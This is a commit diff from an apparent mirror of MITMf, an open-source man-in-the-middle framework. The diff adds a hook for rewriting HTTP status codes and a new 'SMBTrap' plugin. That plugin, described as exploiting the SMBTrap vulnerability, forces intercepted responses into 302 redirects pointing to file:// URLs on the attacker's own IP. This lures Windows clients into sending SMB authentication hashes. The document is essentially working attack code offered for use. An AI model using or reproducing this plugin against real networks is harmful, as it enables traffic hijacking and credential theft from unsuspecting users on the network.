mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-16 10:03:52 -07:00
handleStatus() is now hooked through serverResponseStatus, were now able to modify the server response code and message
added the SMBTrap plugin
This commit is contained in:
parent
bdcee18be0
commit
840e202e5b
6 changed files with 36 additions and 2 deletions
|
@ -44,7 +44,7 @@ class ProxyPlugins:
|
||||||
_instance = None
|
_instance = None
|
||||||
|
|
||||||
plist = []
|
plist = []
|
||||||
mthdDict = {"connectionMade": "clientRequest", "handleResponse": "serverResponse", "handleHeader": "serverHeaders", "handleEndHeaders":"serverHeaders"}
|
mthdDict = {"connectionMade": "clientRequest", "handleStatus": "serverResponseStatus", "handleResponse": "serverResponse", "handleHeader": "serverHeaders", "handleEndHeaders":"serverHeaders"}
|
||||||
pmthds = {}
|
pmthds = {}
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
|
|
@ -14,6 +14,9 @@ class HTTPServer:
|
||||||
|
|
||||||
return HTTPServer._instance
|
return HTTPServer._instance
|
||||||
|
|
||||||
|
def addHandler(self, urlregex, handler, vhost=''):
|
||||||
|
self.application.add_handlers(vhost, [(urlregex, handler)])
|
||||||
|
|
||||||
def start(self, port=80):
|
def start(self, port=80):
|
||||||
self.application.listen(port)
|
self.application.listen(port)
|
||||||
t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start)
|
t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start)
|
||||||
|
|
|
@ -120,6 +120,7 @@ class ServerConnection(HTTPClient):
|
||||||
self.sendPostData()
|
self.sendPostData()
|
||||||
|
|
||||||
def handleStatus(self, version, code, message):
|
def handleStatus(self, version, code, message):
|
||||||
|
version, code, message = self.plugins.hook()
|
||||||
mitmf_logger.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message))
|
mitmf_logger.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message))
|
||||||
self.client.setResponseCode(int(code), message)
|
self.client.setResponseCode(int(code), message)
|
||||||
|
|
||||||
|
|
23
plugins/SMBTrap.py
Normal file
23
plugins/SMBTrap.py
Normal file
|
@ -0,0 +1,23 @@
|
||||||
|
import logging
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
from plugins.plugin import Plugin
|
||||||
|
from core.utils import SystemConfig
|
||||||
|
|
||||||
|
mitmf_logger = logging.getLogger("mitmf")
|
||||||
|
|
||||||
|
class SMBTrap(Plugin):
|
||||||
|
name = "SMBTrap"
|
||||||
|
optname = "smbtrap"
|
||||||
|
desc = "Exploits the SMBTrap vulnerability on connected clients"
|
||||||
|
version = "1.0"
|
||||||
|
has_opts = False
|
||||||
|
|
||||||
|
def initialize(self, options):
|
||||||
|
self.ourip = SystemConfig.getIP(options.interface)
|
||||||
|
|
||||||
|
def serverResponseStatus(self, request, version, code, message):
|
||||||
|
return (version, 302, "Found")
|
||||||
|
|
||||||
|
def serverHeaders(self, response, request):
|
||||||
|
response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8)))
|
|
@ -10,7 +10,7 @@ class TestPlugin(Plugin):
|
||||||
has_opts = False
|
has_opts = False
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
HTTPServer.getInstance().application.add_handlers('', [(r"/test", MainHandler)])
|
HTTPServer.getInstance().addHandler(r"/test/(.*)", MainHandler)
|
||||||
|
|
||||||
class MainHandler(tornado.web.RequestHandler):
|
class MainHandler(tornado.web.RequestHandler):
|
||||||
def get(self):
|
def get(self):
|
||||||
|
|
|
@ -12,6 +12,7 @@ class Plugin(ConfigWatcher, object):
|
||||||
optname = "generic"
|
optname = "generic"
|
||||||
tree_info = list()
|
tree_info = list()
|
||||||
desc = ""
|
desc = ""
|
||||||
|
version = "0.0"
|
||||||
has_opts = False
|
has_opts = False
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
|
@ -41,6 +42,12 @@ class Plugin(ConfigWatcher, object):
|
||||||
'''
|
'''
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
def serverResponseStatus(self, request, version, code, message):
|
||||||
|
'''
|
||||||
|
Handles server response HTTP version, code and message
|
||||||
|
'''
|
||||||
|
return (version, code, message)
|
||||||
|
|
||||||
def serverResponse(self, response, request, data):
|
def serverResponse(self, response, request, data):
|
||||||
'''
|
'''
|
||||||
Handles all non-image responses by default, hooks handleResponse() (See Upsidedownternet for how to get images)
|
Handles all non-image responses by default, hooks handleResponse() (See Upsidedownternet for how to get images)
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue